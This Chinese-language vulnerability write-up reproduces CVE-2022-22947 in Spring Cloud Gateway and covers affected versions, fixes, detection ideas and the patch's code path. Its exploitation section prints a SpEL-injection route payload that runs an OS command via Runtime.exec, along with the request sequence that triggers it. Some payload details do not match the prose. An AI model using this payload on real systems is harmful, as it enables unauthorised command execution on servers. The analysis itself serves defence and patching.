CVE-2022-22947 远程代码执行漏洞复现分析

阅读量    165141 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

作者:Nitro@360GearTeam

简介

前段时间有篇文章[^1]披露了开源项目 Spring Cloud Gateway 的一个远程代码执行漏洞,编号为 CVE-2022-22947。

受影响版本

根据 VMWare 和 Spring 的官方公告[^2][^3],受影响的版本为:

  • 3.1.0
  • 3.0.0 到 3.0.6
  • 旧的不受支持的版本也受影响

修复方案

修复方案有:

  • 3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
  • 在不影响业务的前提下,通过将配置选项 management.endpoint.gateway.enabled 设置为 false 禁用 gateway actuator endpoint。

检测思路

流量检测:分析 HTTP 流量,检测是否存在异常访问 actuator gateway API 的请求。

主机端:

  • 静态检测:通过对比修复前后 ShortcutConfigurable.class 文件的区别指定特征码,根据特征码编写 yara 规则,以查找服务器上是否存在受影响版本的 spring-cloud-gateway jar 包。
  • 动态检测:查找服务器上正在运行的 Java 进程,检测其是否加载了 spring-cloud-gateway jar 包。

 

漏洞分析

目前已公开的漏洞分析文章都在分析 3.x 版本,为了确认 2.x 版本也受影响,本文对 2018 年发布的 Finchley.RELEASE 版本进行了分析,Spring Cloud Gateway 的版本为 2.0.0.RELEASE

环境搭建

演示项目代码已上传到 GitHub 仓库。

项目中,通过配置文件定义了一个路由。启动项目后,访问 http://localhost:8080/ip,如果一切正常,则会得到以下结果:

利用方法

POST 方法请求 /actuator/gateway/routes/pentest,并提交以下数据,用于创建一条恶意路由:

{
  "id": "pentest",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "X-Request-Foo",
        "": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(getRuntime().exec(new String[]{\"wh\"}).getInputStream()))}"
      },
      "uri": "http://httpbin.org/get",
      "predicates": [
        {
          "name": "Method",
          "args": {
            "_key_0": "GET"
          }
        },
        {
          "name": "Path",
          "args": {
            "_key_0": "/pentest"
          }
        }
      ]
    }
  ]
}
  • id 字段指定新路由的名称,必须全局唯一。
  • filters 字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改。
    • name 字段指定要添加的过滤器,这里添加了一个 AddResponseHeader 过滤器,用于 gateway 给客户端返回响应之前添加一个响应头。
    • args.name 字段指定要添加的响应头。
    • args.value 字段指定响应头的值。这里的值是要执行的 SpEL 表达式,用于执行 whoami 命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」。
    • uri 字段指定将客户端请求转发到 http://httpbin.org/get
    • predicates 字段指定匹配此路由的条件。这里指定了两个条件,一个是请求的方法为 GET,一个是请求的 URI 为 /pentest

有关其它 actuator gateway 的 API,可查看官方文档[^7]。

接着以 POST 方法请求 /actuator/gateway/refresh ,用于刷新路由,使刚添加的恶意路由生效。

最后以 GET 方法请求 /pentest,触发恶意路由。在响应中可以看到过滤器添加的响应头:

修复方案分析

代码修复方案

首先在官方仓库中查看为了修复漏洞的 commit[^4]

ShortcutConfigurable 接口中的 getValue 方法中,使用自定义的 GatewayEvaluationContext 类替换了原来的 StandardEvaluationContext 类。查看 GatewayEvaluationContext 类的实现可知,其是对 SimpleEvaluationContext 类的简单封装。

通过查询文档可知,StandardEvaluationContextSimpleEvaluationContext 都类是执行 Spring 的 SpEL 表达式的接口,区别在于前者支持 SpEL 表达式的全部特性,后者相当于一个沙盒,限制了很多功能,如对 Java 类的引用等[^5][^6]。因此通过将 StandardEvaluationContext 类替换为 GatewayEvaluationContext 类,可以限制执行注入的 SpEL 表达式。

禁用 actuator gateway

通过前面的漏洞利用过程可以看到,首先需要通过 /actuator/gateway/routes/{id} API 创建一条路由。因此将此 API 禁止,也可实现漏洞的修复。根据 Actuator 的 API 文档[^7]可知,启用 actuator gateway 需要设置以下两个配置的值:

management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway

因此只要这两个选项不同时满足,就不会启用 actuator gateway。

漏洞分析思路

ShortcutConfigurable 接口开始,通过 IntelliJ IDEA 可以看到,大多数内置过滤器都继承了 ShortcutConfigurable 接口。其次,RouteDefinitionRouteLocator 类(org/springframework/cloud/gateway/route/RouteDefinitionRouteLocator.class)的私有方法 loadGatewayFilters 中调用了 ShortcutConfigurable 接口的 normalize 方法:

通过简单的回溯,RouteDefinitionRouteLocator 类的公有方法 getRoutes 最终会调用 loadGatewayFilters 方法,调用链为:

loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()

因此 /actuator/gateway/routes 这个 URI 也会触发 SpEL 表达式的执行。

再仔细看下 loadGatewayFilters 方法的关键功能:

  • 参数 id 为路由的名称,也就是定义路由时参数 id 的值。参数 filterDefinitions 为该路由中定义的过滤器对象数组。
  • 方法遍历过滤器对象数组:
    • 检查指定的过滤器是否存在。不存在则抛出异常 Unable to find GatewayFilterFactory with name
    • 存在时,获取过滤器的参数,并打印 debug 日志 RouteDefinition {id} applying filter {args} to {filter}
    • 调用 normalize 方法,如果参数的值是 SpEL 表达式则执行,不是则直接返回。
    • 使用处理后的参数创建配置对象,然后使用过滤器工厂创建过滤器实例并保存到数组中。

2.x 与 3.x 版本的区别

在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable 接口的 getValue 方法中使用了 StandardEvaluationContext 类来执行 SpEL 表达式。

第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。

第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService 类的内部类 ConfigurableBuildernormalizeProperties 方法(重写了父类中的方法)中调用了 normalize 方法。而 ConfigurableBuilder 类继承自内部抽象类 AbstractBuilderAbstractBuilder 类中有一公有方法 bind 调用了 normalizeProperties 方法。

继续跟进对 bind 方法的引用,可知有三处:

  • AbstractRateLimiter 类的 onApplicationEvent 方法。
  • RouteDefinitionRouteLocator 类的 loadGatewayFilters 方法和 lookup 方法。

然后继续回溯可以知道所有有可能触发 SpEL 表达式执行的地方。

 

参考文献

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
https://tanzu.vmware.com/security/cve-2022-22947
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/StandardEvaluationContext.html
https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html
https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多